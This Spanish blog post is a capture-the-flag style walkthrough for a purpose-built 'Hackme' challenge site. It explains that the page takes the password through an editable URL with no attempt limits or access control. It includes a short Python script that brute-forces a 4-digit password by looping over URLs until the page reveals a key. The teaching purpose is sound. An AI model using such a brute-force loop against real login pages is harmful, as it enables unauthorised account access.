Fallos del Hackme – Usar una URL editable y olvidarse de los bots

En el artículo anterior llegamos a superar el login y llegamos a esta pantalla.

Detrás del ? vienen las variables y sus valores.

El email, ya sabemos que está bien. Pero la clave no la sabemos y el juego nos invita a encontrarla por fuerza bruta. También nos dice que son 4 dígitos para ahorrarnos trabajo y para invitar a los que no saben programar a usar la paciencia y el trabajo en equipo 😉

En este caso estamos permitiendo que cualquiera genere una URL a medida para tratar de romper la clave. No hay control de acceso, no hay máximo de intentos, no hay validación de la entrada -aunque para el ataque de inyección SQL he preparado otro reto a medida-. El caso es que esto es la receta idea para ser atacado con un simple cambio en el script de python que os enseñe hace unos días.

El código es tan simple como esto:

import urllib2

import urllib2
numero=1000;
while 1:
    url = "https://hackme.amonesta.me/login/pagina2.php?email=admin%40hack.me&pass="+str(numero)
    print "probando URL: "+ url
    a = urllib2.urlopen(url).read()
    if "KEY" in a:
        print a
        break
    else:
        numero = numero + 1

Cualquier persona que sepa algo de Python os dirá que eso es una vergüenza. Ni siquiera estoy usando el multi-hilo. Pero se trata de demostrar que sin ningún conocimiento de programación se puede ser «peligroso» cuando uno ataca páginas que de por sí son vulnerables.

En ese código empiezo en 1000 -el primer número de 4 cifras que hay-, y añado el número a la dirección URL antes de acceder a ella con urllib2. Si no obtengo la KEY sumo uno al número para ir al número siguiente y vuelvo a intentarlo. Así de fácil.

Ahora, os puedo decir que si esperáis un ratito, el código acaba saliendo.

Enhorabuena por vuestra nueva KEY o por la nueva habilidad que habéis adquirido.

¡Nos vemos en el próximo reto!

Play That Class
Play That Class

Me encanta escribir, la tecnología y la educación. En estos artículos intento unir mis tres pasiones.

Artículos: 21

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *